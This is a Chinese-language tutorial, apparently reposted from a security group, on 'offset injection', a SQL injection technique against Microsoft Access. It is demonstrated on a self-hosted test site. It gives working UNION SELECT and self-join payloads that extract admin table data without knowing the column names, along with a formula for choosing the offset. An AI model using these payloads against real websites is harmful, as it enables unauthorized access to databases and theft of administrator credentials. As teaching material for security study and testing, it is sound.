Access的偏移注入

大家好

今天整Access的偏移注入

网站是自己在虚拟机搭的,一共就两个文件

asp脚本:

数据库:

现在正式开始

先order by来跑字段数

如图,可以发现是字段数是7

现在构造联合查询

:union select1,2,3,4,5,6,7 from admin

“union”起到了连接两个语句的作用

这个是联合查询后,假设我们现在不知道admin表下的字段名,所以来用偏移注入方法是用‘*’这个符号代替最后一个数字,直到返回正常

1.asp?id=1 unionselect 1,2,3,4,5,6,* from admin

1.asp?id=1 union select 1,2,3,4,5,* fromadmin

1.asp?id=1 union select 1,2,3,4,* fromadmin

依次类推

order by的字段数- 2*(order by的字段数-联合查询的字段数)

比如说我们这个例子里就是:7 – 2 *(7 - 4),结果等于1

所以我们在偏移注入时就写成

:id=1 union select 1,a.id,b.id,* from (admin as a inner join admin asb on a.id = b.id)

查询之后,在不知道字段名称的情况下,查出了数据

如图所示

这里解释一下语句

首先,

红框所框起来的部分是将一张表虚拟成多张相同的表来进行查询,

里面的两个“admin” 就是要查询的表,

a.id和b.id中的id为表中的已知字段,毕竟一般每个表都有一个id字段

而如上图所示的部分即为前文公式所得出的个数,加上a.id和b.id最后加一个‘*’号即可,可以套用的。

总结

个人认为,偏移注入是找得到表名找不到字段名时进行注入的好方法,

但也存在着一定的局限性:

第一,它只能用于Access数据库;

第二,通过公式可以知道,

只有在admin表的字段的字段数的两倍减去news表的字段数大于等于1时,

才有可能进行偏移注入,不过Access偏移注入仍然是一个解决困难的好方法

本文由掘安技术小组研究室综合网络整理,图片来源于网络;转载请注明”转自掘安技术小组研究室“,并附上链接。

维权通道(客服中心):

投稿| ※白鬼

照片| ※白鬼

责编| ※许心痕※

编辑| ※许心痕※

审核| ※许心痕※

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180111A035C400?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励